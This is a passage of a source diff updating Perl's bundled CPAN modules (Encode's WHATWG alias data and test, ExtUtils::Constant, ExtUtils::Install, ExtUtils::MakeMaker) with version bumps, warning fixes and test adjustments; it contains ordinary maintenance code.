+ "name": "windows-1251"
+ },
+ {
+ "labels": [
+ "ansi_x3.4-1968",
+ "ascii",
+ "cp1252",
+ "cp819",
+ "csisolatin1",
+ "ibm819",
+ "iso-8859-1",
+ "iso-ir-100",
+ "iso8859-1",
+ "iso88591",
+ "iso_8859-1",
+ "iso_8859-1:1987",
+ "l1",
+ "latin1",
+ "us-ascii",
+ "windows-1252",
+ "x-cp1252"
+ ],
+ "name": "windows-1252"
+ },
+ {
+ "labels": [
+ "cp1253",
+ "windows-1253",
+ "x-cp1253"
+ ],
+ "name": "windows-1253"
+ },
+ {
+ "labels": [
+ "cp1254",
+ "csisolatin5",
+ "iso-8859-9",
+ "iso-ir-148",
+ "iso8859-9",
+ "iso88599",
+ "iso_8859-9",
+ "iso_8859-9:1989",
+ "l5",
+ "latin5",
+ "windows-1254",
+ "x-cp1254"
+ ],
+ "name": "windows-1254"
+ },
+ {
+ "labels": [
+ "cp1255",
+ "windows-1255",
+ "x-cp1255"
+ ],
+ "name": "windows-1255"
+ },
+ {
+ "labels": [
+ "cp1256",
+ "windows-1256",
+ "x-cp1256"
+ ],
+ "name": "windows-1256"
+ },
+ {
+ "labels": [
+ "cp1257",
+ "windows-1257",
+ "x-cp1257"
+ ],
+ "name": "windows-1257"
+ },
+ {
+ "labels": [
+ "cp1258",
+ "windows-1258",
+ "x-cp1258"
+ ],
+ "name": "windows-1258"
+ },
+ {
+ "labels": [
+ "x-mac-cyrillic",
+ "x-mac-ukrainian"
+ ],
+ "name": "x-mac-cyrillic"
+ }
+ ],
+ "heading": "Legacy single-byte encodings"
+ },
+ {
+ "encodings": [
+ {
+ "labels": [
+ "chinese",
+ "csgb2312",
+ "csiso58gb231280",
+ "gb2312",
+ "gb_2312",
+ "gb_2312-80",
+ "gbk",
+ "iso-ir-58",
+ "x-gbk"
+ ],
+ "name": "GBK"
+ },
+ {
+ "labels": [
+ "gb18030"
+ ],
+ "name": "gb18030"
+ }
+ ],
+ "heading": "Legacy multi-byte Chinese (simplified) encodings"
+ },
+ {
+ "encodings": [
+ {
+ "labels": [
+ "big5",
+ "big5-hkscs",
+ "cn-big5",
+ "csbig5",
+ "x-x-big5"
+ ],
+ "name": "Big5"
+ }
+ ],
+ "heading": "Legacy multi-byte Chinese (traditional) encodings"
+ },
+ {
+ "encodings": [
+ {
+ "labels": [
+ "cseucpkdfmtjapanese",
+ "euc-jp",
+ "x-euc-jp"
+ ],
+ "name": "EUC-JP"
+ },
+ {
+ "labels": [
+ "csiso2022jp",
+ "iso-2022-jp"
+ ],
+ "name": "ISO-2022-JP"
+ },
+ {
+ "labels": [
+ "csshiftjis",
+ "ms932",
+ "ms_kanji",
+ "shift-jis",
+ "shift_jis",
+ "sjis",
+ "windows-31j",
+ "x-sjis"
+ ],
+ "name": "Shift_JIS"
+ }
+ ],
+ "heading": "Legacy multi-byte Japanese encodings"
+ },
+ {
+ "encodings": [
+ {
+ "labels": [
+ "cseuckr",
+ "csksc56011987",
+ "euc-kr",
+ "iso-ir-149",
+ "korean",
+ "ks_c_5601-1987",
+ "ks_c_5601-1989",
+ "ksc5601",
+ "ksc_5601",
+ "windows-949"
+ ],
+ "name": "EUC-KR"
+ }
+ ],
+ "heading": "Legacy multi-byte Korean encodings"
+ },
+ {
+ "encodings": [
+ {
+ "labels": [
+ "csiso2022kr",
+ "hz-gb-2312",
+ "iso-2022-cn",
+ "iso-2022-cn-ext",
+ "iso-2022-kr"
+ ],
+ "name": "replacement"
+ },
+ {
+ "labels": [
+ "utf-16be"
+ ],
+ "name": "UTF-16BE"
+ },
+ {
+ "labels": [
+ "utf-16",
+ "utf-16le"
+ ],
+ "name": "UTF-16LE"
+ },
+ {
+ "labels": [
+ "x-user-defined"
+ ],
+ "name": "x-user-defined"
+ }
+ ],
+ "heading": "Legacy miscellaneous encodings"
+ }
+]
diff --git a/gnu/usr.bin/perl/cpan/Encode/t/whatwg-aliases.t b/gnu/usr.bin/perl/cpan/Encode/t/whatwg-aliases.t
new file mode 100644
index 00000000000..ffc030bb757
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Encode/t/whatwg-aliases.t
@@ -0,0 +1,66 @@
+# This test checks aliases support based on the list in the
+# WHATWG Encoding Living Standard
+#
+# https://encoding.spec.whatwg.org/
+#
+# The input of this test is the file whatwg-aliases.json downloaded from
+# https://encoding.spec.whatwg.org/encodings.json
+#
+# To run:
+# AUTHOR_TESTING=1 prove -l t/whatwg-aliases.t
+
+
+use Test::More
+ ($ENV{AUTHOR_TESTING} || $ENV{RELEASE_TESTING})
+ ? 'no_plan'
+ : (skip_all => 'For maintainers only');
+use Encode 'find_encoding';
+use JSON::PP 'decode_json';
+use File::Spec;
+use FindBin;
+
+my $encodings = decode_json(do {
+ # https://encoding.spec.whatwg.org/encodings.json
+ open my $f, '<', File::Spec->catdir($FindBin::Bin, 'whatwg-aliases.json');
+ local $/;
+ <$f>
+});
+
+my %IGNORE = map { $_ => '' } qw(
+ replacement
+ utf8
+);
+
+my %TODO = (
+ 'ISO-8859-8-I' => 'Not supported',
+ 'gb18030' => 'Not supported',
+ '866' => 'Not supported',
+ 'x-user-defined' => 'Not supported',
+ # ...
+);
+
+for my $section (@$encodings) {
+ for my $enc (@{$section->{encodings}}) {
+
+ my $name = $enc->{name};
+
+ next if exists $IGNORE{$name};
+
+ local $TODO = $TODO{$name} if exists $TODO{$name};
+
+ my $encoding = find_encoding($name);
+ isa_ok($encoding, 'Encode::Encoding', $name);
+
+ for my $label (@{$enc->{labels}}) {
+ local $TODO = $TODO{$label} if exists $TODO{$label};
+
+ my $e = find_encoding($label);
+ if (isa_ok($e, 'Encode::Encoding', $label)) {
+ next if exists $IGNORE{$label};
+ is($e->name, $encoding->name, "$label ->name is $name")
+ }
+ }
+ }
+}
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm b/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm
index 0dc925873dc..e6d71f9b10b 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant.pm
@@ -1,6 +1,6 @@
package ExtUtils::Constant;
use vars qw (@ISA $VERSION @EXPORT_OK %EXPORT_TAGS);
-$VERSION = 0.23;
+$VERSION = '0.25';
=head1 NAME
@@ -198,17 +198,17 @@ $XS_subname(sv)
EOT
if ($params->{IV}) {
- $xs .= " IV iv;\n";
+ $xs .= " IV iv = 0; /* avoid uninit var warning */\n";
} else {
$xs .= " /* IV\t\tiv;\tUncomment this if you need to return IVs */\n";
}
if ($params->{NV}) {
- $xs .= " NV nv;\n";
+ $xs .= " NV nv = 0.0; /* avoid uninit var warning */\n";
} else {
$xs .= " /* NV\t\tnv;\tUncomment this if you need to return NVs */\n";
}
if ($params->{PV}) {
- $xs .= " const char *pv;\n";
+ $xs .= " const char *pv = NULL; /* avoid uninit var warning */\n";
} else {
$xs .=
" /* const char\t*pv;\tUncomment this if you need to return PVs */\n";
@@ -272,7 +272,7 @@ EOT
$xs .= " case PERL_constant_IS$type:\n";
if (length $XS_Constant{$type}) {
$xs .= << "EOT";
- EXTEND(SP, 1);
+ EXTEND(SP, 2);
PUSHs(&PL_sv_undef);
$XS_Constant{$type};
EOT
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm b/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm
index b6abe1c201a..bd0d8a784b9 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Base.pm
@@ -5,7 +5,7 @@ use vars qw($VERSION);
use Carp;
use Text::Wrap;
use ExtUtils::Constant::Utils qw(C_stringify perl_stringify);
-$VERSION = '0.05';
+$VERSION = '0.06';
use constant is_perl56 => ($] < 5.007 && $] > 5.005_50);
@@ -331,7 +331,7 @@ of C code to proceed and follow the assignment. I<pre> will be at the start
of a block, so variables may be defined in it.
=cut
-# Hmm. value undef to to NOTDEF? value () to do NOTFOUND?
+# Hmm. value undef to do NOTDEF? value () to do NOTFOUND?
sub assign {
my $self = shift;
@@ -581,7 +581,8 @@ sub switch_clause {
$body .= $indent . "case '" . C_stringify ($char) . "':\n";
foreach my $thisone (sort {
# Deal with the case of an item actually being an array ref to 1 or 2
- # hashrefs. Don't assign to $a or $b, as they're aliases to the orignal
+ # hashrefs. Don't assign to $a or $b, as they're aliases to the
+ # original
my $l = ref $a eq 'ARRAY' ? ($a->[0] || $->[1]) : $a;
my $r = ref $b eq 'ARRAY' ? ($b->[0] || $->[1]) : $b;
# Sort by weight first
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm b/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm
index 545d3221a01..0aee5233fe0 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/ProxySubs.pm
@@ -9,7 +9,7 @@ require ExtUtils::Constant::XS;
use ExtUtils::Constant::Utils qw(C_stringify);
use ExtUtils::Constant::XS qw(%XS_TypeSet);
-$VERSION = '0.08';
+$VERSION = '0.09';
@ISA = 'ExtUtils::Constant::XS';
%type_to_struct =
@@ -268,7 +268,7 @@ EO_NOPCS
SV *sv;
if (!he) {
- Perl_croak($athx "Couldn't add key '%s' to %%$package_sprintf_safe\::",
+ croak("Couldn't add key '%s' to %%$package_sprintf_safe\::",
name);
}
sv = HeVAL(he);
@@ -306,9 +306,8 @@ static int
Im_sorry_Dave(pTHX_ SV *sv, MAGIC *mg)
{
PERL_UNUSED_ARG(mg);
- Perl_croak(aTHX_
- "Your vendor has not defined $package_sprintf_safe macro %"SVf
- " used", sv);
+ croak("Your vendor has not defined $package_sprintf_safe macro %"SVf
+ " used", sv);
NORETURN_FUNCTION_END;
}
@@ -373,7 +372,7 @@ MISSING
print $xs_fh <<"EOBOOT";
BOOT:
{
-#ifdef dTHX
+#if defined(dTHX) && !defined(PERL_NO_GET_CONTEXT)
dTHX;
#endif
HV *symbol_table = get_hv("$symbol_table", GV_ADD);
@@ -491,9 +490,8 @@ EXPLODE
HEK *hek;
#endif
if (!he) {
- Perl_croak($athx
- "Couldn't add key '%s' to %%$package_sprintf_safe\::",
- value_for_notfound->name);
+ croak("Couldn't add key '%s' to %%$package_sprintf_safe\::",
+ value_for_notfound->name);
}
sv = HeVAL(he);
if (!SvOK(sv) && SvTYPE(sv) != SVt_PVGV) {
@@ -521,8 +519,8 @@ EXPLODE
if (!hv_common(${c_subname}_missing, NULL, HEK_KEY(hek),
HEK_LEN(hek), HEK_FLAGS(hek), HV_FETCH_ISSTORE,
&PL_sv_yes, HEK_HASH(hek)))
- Perl_croak($athx "Couldn't add key '%s' to missing_hash",
- value_for_notfound->name);
+ croak("Couldn't add key '%s' to missing_hash",
+ value_for_notfound->name);
#endif
DONT
@@ -629,13 +627,15 @@ EOA
if ((C_ARRAY_LENGTH(values_for_notfound) > 1)
? hv_exists_ent(${c_subname}_missing, sv, 0) : 0) {
sv = newSVpvf("Your vendor has not defined $package_sprintf_safe macro %" SVf
- ", used at %" COP_FILE_F " line %d\\n", sv,
- COP_FILE(cop), CopLINE(cop));
+ ", used at %" COP_FILE_F " line %" UVuf "\\n",
+ sv, COP_FILE(cop), (UV)CopLINE(cop));
} else
#endif
{
- sv = newSVpvf("%"SVf" is not a valid $package_sprintf_safe macro at %"
- COP_FILE_F " line %d\\n", sv, COP_FILE(cop), CopLINE(cop));
+ sv = newSVpvf("%" SVf
+ " is not a valid $package_sprintf_safe macro at %"
+ COP_FILE_F " line %" UVuf "\\n",
+ sv, COP_FILE(cop), (UV)CopLINE(cop));
}
croak_sv(sv_2mortal(sv));
EOC
@@ -671,7 +671,7 @@ $xs_subname(sv)
} else
#endif
{
- sv = newSVpvf("%"SVf" is not a valid $package_sprintf_safe macro",
+ sv = newSVpvf("%" SVf " is not a valid $package_sprintf_safe macro",
sv);
}
PUSHs(sv_2mortal(sv));
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm b/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm
index 9608256c34c..37e53f06ff7 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-Constant/lib/ExtUtils/Constant/Utils.pm
@@ -6,7 +6,7 @@ use Carp;
@ISA = 'Exporter';
@EXPORT_OK = qw(C_stringify perl_stringify);
-$VERSION = '0.03';
+$VERSION = '0.04';
use constant is_perl55 => ($] < 5.005_50);
use constant is_perl56 => ($] < 5.007 && $] > 5.005_50);
@@ -46,7 +46,7 @@ sub C_stringify {
# grr 5.6.1
confess "Wide character in '$_' intended as a C identifier"
if tr/\0-\377// != length;
- # grr 5.6.1 moreso because its regexps will break on data that happens to
+ # grr 5.6.1 more so because its regexps will break on data that happens to
# be utf8, which includes my 8 bit test cases.
$_ = pack 'C*', unpack 'U*', $_ . pack 'U*' if is_perl56;
s/\\/\\\\/g;
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm b/gnu/usr.bin/perl/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm
index 061c32916f3..8327a95a3db 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-Install/lib/ExtUtils/Installed.pm
@@ -17,7 +17,7 @@ my $DOSISH = ($^O =~ /^(MSWin\d\d|os2|dos|mint)$/);
require VMS::Filespec if $Is_VMS;
use vars qw($VERSION);
-$VERSION = '2.04';
+$VERSION = '2.14';
$VERSION = eval $VERSION;
sub _is_prefix {
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm b/gnu/usr.bin/perl/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm
index c1ab00216bc..f94e3d05cc8 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-Install/lib/ExtUtils/Packlist.pm
@@ -5,7 +5,7 @@ use strict;
use Carp qw();
use Config;
use vars qw($VERSION $Relocations);
-$VERSION = '2.04';
+$VERSION = '2.14';
$VERSION = eval $VERSION;
# Used for generating filehandle globs. IO::File might not be available!
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/Install.t b/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/Install.t
index 440d23082de..0900b58cb86 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/Install.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/Install.t
@@ -12,7 +12,7 @@ use File::Path;
use File::Spec;
use File::Temp qw[tempdir];
-use Test::More tests => 60;
+use Test::More tests => 62;
use MakeMaker::Test::Setup::BFD;
@@ -269,3 +269,15 @@ SKIP: {
ok(compare("$bigdir/Dummy.pm", "$bigdir/DummyOrig.pm"),
"orig file should be different");
}
+
+pm_to_blib( { 'lib/Dummy/Split.pm' => 'blib/lib/Dummy/Split.pm' },
+ 'blib/lib/auto'
+ );
+
+ok( -r 'blib/lib/auto/Dummy/Split/split.al',
+ 'pm_to_blib does autosplit on appropriate files',
+);
+eval {
+ pm_to_blib( { 'lib/Dummy/Split.pm' => 'blib/lib/Dummy/Split.pm' } );
+};
+is $@, '', 'pm_to_blib with no autodir works';
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/InstallWithMM.t b/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/InstallWithMM.t
index 58ffd3eceb0..d656d43833c 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/InstallWithMM.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/InstallWithMM.t
@@ -56,7 +56,7 @@ delete @ENV{qw(PREFIX LIB MAKEFLAGS)};
ok( chdir('Big-Dummy'), "chdir'd to Big-Dummy" ) ||
diag("chdir failed: $!");
- my @mpl_out = run(qq{$perl Makefile.PL "PREFIX=../dummy-install"});
+ my @mpl_out = run(qq{"$perl" Makefile.PL "PREFIX=../dummy-install"});
END { rmtree '../dummy-install'; }
cmp_ok( $?, '==', 0, 'Makefile.PL exited with zero' ) ||
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/Installed.t b/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/Installed.t
index 5c5c4d3d09a..d6a099e9c7c 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/Installed.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/Installed.t
@@ -109,6 +109,9 @@ my $fake_mod_dir = File::Spec->catdir(cwd(), 'auto', 'FakeMod');
# should find $fake_mod_dir via '.' in @INC
+ local @INC = @INC;
+ push @INC, '.' if not $INC[-1] eq '.';
+
my $realei = ExtUtils::Installed->new();
isa_ok( $realei, 'ExtUtils::Installed' );
isa_ok( $realei->{Perl}{packlist}, 'ExtUtils::Packlist' );
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm b/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm
index 868d0b9019b..37ca9a3c017 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm
@@ -90,6 +90,18 @@ foreach my $key (qw(INST_LIB INST_ARCHLIB)) {
}
END
+ 'Big-Dummy/lib/Dummy/Split.pm' => <<'END',
+package Dummy::Split;
+$VERSION = 0.02;
+use AutoLoader 'AUTOLOAD';
+
+__END__
+
+sub split { print "split\n"; }
+
+1;
+END
+
);
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm
index 34e85decfbe..4924c81fbea 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Command.pm
@@ -7,7 +7,7 @@ use vars qw(@ISA @EXPORT @EXPORT_OK $VERSION);
@ISA = qw(Exporter);
@EXPORT = qw(cp rm_f rm_rf mv cat eqtime mkpath touch test_f test_d chmod
dos2unix);
-$VERSION = '7.10_02';
+$VERSION = '7.34';
$VERSION = eval $VERSION;
my $Is_VMS = $^O eq 'VMS';
@@ -350,6 +350,7 @@ sub dos2unix {
open ORIG, $_ or do { warn "dos2unix can't open $_: $!"; return };
open TEMP, ">$temp" or
do { warn "dos2unix can't create .dos2unix_tmp: $!"; return };
+ binmode ORIG; binmode TEMP;
while (my $line = <ORIG>) {
$line =~ s/\015\012/\012/g;
print TEMP $line;
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm
index 68fcd4c5b84..6d97df06f61 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm
@@ -1,7 +1,8 @@
package ExtUtils::MakeMaker::Locale;
use strict;
-our $VERSION = "7.10";
+our $VERSION = "7.34";
+$VERSION = eval $VERSION;
use base 'Exporter';
our @EXPORT_OK = qw(
@@ -27,11 +28,8 @@ sub _init {
eval {
unless (defined &GetConsoleCP) {
require Win32;
- # no point falling back to Win32::GetConsoleCP from this
- # as added same time, 0.45
- eval { Win32::GetConsoleCP() };
# manually "import" it since Win32->import refuses
- *GetConsoleCP = sub { &Win32::GetConsoleCP } unless $@;
+ *GetConsoleCP = sub { &Win32::GetConsoleCP } if defined &Win32::GetConsoleCP;
}
unless (defined &GetConsoleCP) {
require Win32::API;
@@ -51,18 +49,17 @@ sub _init {
require Win32;
eval { Win32::GetConsoleCP() };
# manually "import" it since Win32->import refuses
- *GetInputCP = sub { &Win32::GetConsoleCP } unless $@;
- *GetOutputCP = sub { &Win32::GetConsoleOutputCP } unless $@;
+ *GetInputCP = sub { &Win32::GetConsoleCP } if defined &Win32::GetConsoleCP;
+ *GetOutputCP = sub { &Win32::GetConsoleOutputCP } if defined &Win32::GetConsoleOutputCP;
};
unless (defined &GetInputCP) {
eval {
# try Win32::Console module for codepage to use
require Win32::Console;
- eval { Win32::Console::InputCP() };
*GetInputCP = sub { &Win32::Console::InputCP }
- unless $@;
+ if defined &Win32::Console::InputCP;
*GetOutputCP = sub { &Win32::Console::OutputCP }
- unless $@;
+ if defined &Win32::Console::OutputCP;
};
}
unless (defined &GetInputCP) {
@@ -137,7 +134,7 @@ Encode::Alias::define_alias(sub {
sub _flush_aliases {
no strict 'refs';
- for my $a (keys %Encode::Alias::Alias) {
+ for my $a (sort keys %Encode::Alias::Alias) {
if (defined ${"ENCODING_" . uc($a)}) {
delete $Encode::Alias::Alias{$a};
warn "Flushed alias cache for $a" if DEBUG;
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm
index 35cd2ab9b30..c59be1eeee7 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm
@@ -10,12 +10,13 @@
package ExtUtils::MakeMaker::version;
-use 5.006002;
+use 5.006001;
use strict;
use vars qw(@ISA $VERSION $CLASS $STRICT $LAX *declare *qv);
-$VERSION = '7.10_01';
+$VERSION = '7.34';
+$VERSION = eval $VERSION;
$CLASS = 'version';
{
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm
index a0213b14ff2..f0eb14eacb4 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm
@@ -10,7 +10,8 @@ use strict;
use vars qw($VERSION $CLASS $STRICT $LAX);
-$VERSION = '7.10_01';
+$VERSION = '7.34';
+$VERSION = eval $VERSION;
#--------------------------------------------------------------------------#
# Version regexp components
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/01perl_bugs.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/01perl_bugs.t
index 618dc092784..71d29b6536b 100644
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/01perl_bugs.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/01perl_bugs.t
@@ -7,7 +7,7 @@ use warnings;
use lib 't/lib';
-use Test::More;
+use Test::More tests => 1;
note "The 0.01 / Gconvert bug"; {
my $number = 0.01;
@@ -21,5 +21,3 @@ or upgrade to a newer version of Perl.
END
};
}
-
-done_testing;
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/02-xsdynamic.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/02-xsdynamic.t
new file mode 100644
index 00000000000..5ed28de1f81
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/02-xsdynamic.t
@@ -0,0 +1,23 @@
+#!/usr/bin/perl -w
+
+use strict;
+use warnings;
+use Config;
+BEGIN {
+ chdir 't' or die "chdir(t): $!\n";
+ unshift @INC, 'lib/';
+}
+use MakeMaker::Test::Utils;
+use MakeMaker::Test::Setup::XS;
+use Test::More;
+
+plan skip_all => 'Dynaloading not enabled' if !$Config{usedl} or $Config{usedl} ne 'define';
+plan skip_all => "ExtUtils::CBuilder not installed or couldn't find a compiler"
+ unless have_compiler();
+my @tests = list_dynamic();
+plan skip_all => "No tests" unless @tests;
+plan tests => 6 * @tests;
+my $perl = which_perl();
+perl_lib;
+$| = 1;
+run_tests($perl, @$_) for @tests;
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t
new file mode 100644
index 00000000000..bfe3dc96c38
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t
@@ -0,0 +1,30 @@
+#!/usr/bin/perl -w
+
+use strict;
+use warnings;
+use Config;
+
+my $release;
+
+BEGIN {
+ $release = ( -d '.git' ? 1 : 0 );
+ chdir 't' or die "chdir(t): $!\n";
+ unshift @INC, 'lib/';
+}
+
+use MakeMaker::Test::Utils;
+use MakeMaker::Test::Setup::XS;
+use Test::More;
+
+plan skip_all => "ExtUtils::CBuilder not installed or couldn't find a compiler"
+ unless have_compiler();
+plan skip_all => 'Shared perl library' if $Config{useshrplib} eq 'true';
+plan skip_all => $^O if $^O =~ m!^(MSWin32|cygwin|haiku|darwin)$!;
+plan skip_all => 'Skipped when not PERL_CORE or in git repo' unless $ENV{PERL_CORE} or $release;
+my @tests = list_static();
+plan skip_all => "No tests" unless @tests;
+plan tests => 6 * @tests;
+my $perl = which_perl();
+perl_lib;
+$| = 1;
+run_tests($perl, @$_) for @tests;
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/INST.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/INST.t
index 91058bb74da..3562162bb08 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/INST.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/INST.t
@@ -18,12 +18,14 @@ use File::Spec;
use TieOut;
use Config;
+chdir 't';
+perl_lib; # sets $ENV{PERL5LIB} relative to t/
+
use File::Temp qw[tempdir];
-my $tmpdir = tempdir( DIR => 't', CLEANUP => 1 );
+my $tmpdir = tempdir( DIR => '../t', CLEANUP => 1 );
+use Cwd; my $cwd = getcwd; END { chdir $cwd } # so File::Temp can cleanup
chdir $tmpdir;
-perl_lib;
-
$| = 1;
my $Makefile = makefile_name;
@@ -47,8 +49,8 @@ my $mm = WriteMakefile(
PERL_CORE => $ENV{PERL_CORE},
);
like( $stdout->read, qr{
- Generating\ a\ \w+?-style\ $Makefile\n
- Writing\ $Makefile\ for\ Big::Liar\n
+ (?:Generating\ a\ \w+?-style\ $Makefile\n)?
+ (?:Writing\ $Makefile\ for\ Big::Liar\n)?
(?:Writing\ MYMETA.yml\ and\ MYMETA.json\n)?
Big::Liar's\ vars\n
INST_LIB\ =\ \S+\n
@@ -135,8 +137,8 @@ $mm = WriteMakefile(
INST_MAN1DIR => 'none',
);
like( $stdout->read, qr{
- Generating\ a\ \w+?-style\ $Makefile\n
- Writing\ $Makefile\ for\ Big::Liar\n
+ (?:Generating\ a\ \w+?-style\ $Makefile\n)?
+ (?:Writing\ $Makefile\ for\ Big::Liar\n)?
(?:Writing\ MYMETA.yml\ and\ MYMETA.json\n)?
Big::Liar's\ vars\n
INST_LIB\ =\ \S+\n
diff --git a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/INST_PREFIX.t b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/INST_PREFIX.t
index e8de7c6cbdb..5f7d39558d4 100755
--- a/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/INST_PREFIX.t
+++ b/gnu/usr.bin/perl/cpan/ExtUtils-MakeMaker/t/INST_PREFIX.t
@@ -20,12 +20,14 @@ use ExtUtils::MakeMaker::Config;
my $Is_VMS = $^O eq 'VMS';
+chdir 't';
+perl_lib; # sets $ENV{PERL5LIB} relative to t/
+
use File::Temp qw[tempdir];
-my $tmpdir = tempdir( DIR => 't', CLEANUP => 1 );
+my $tmpdir = tempdir( DIR => '../t', CLEANUP => 1 );
+use Cwd; my $cwd = getcwd; END { chdir $cwd } # so File::Temp can cleanup
chdir $tmpdir;
-perl_lib;
-
$| = 1;
my $Makefile = makefile_name;
@@ -51,8 +53,8 @@ my $mm = WriteMakefile(
);
like( $stdout->read, qr{
- Generating\ a\ \w+?-style\ $Makefile\n
- Writing\ $Makefile\ for\ Big::Liar\n
+ (?:Generating\ a\ \w+?-style\ $Makefile\n)?
+ (?:Writing\ $Makefile\ for\ Big::Liar\n)?
(?:Writing\ MYMETA.yml\ and\ MYMETA.json\n)?
Big::Liar's\ vars\n
INST_LIB\ =\ \S+\n
@@ -83,8 +85,8 @@ $mm = WriteMakefile(
PREFIX => $PREFIX,
);
like( $stdout->read, qr{
- Generating\ a\ \w+?-style\ $Makefile\n
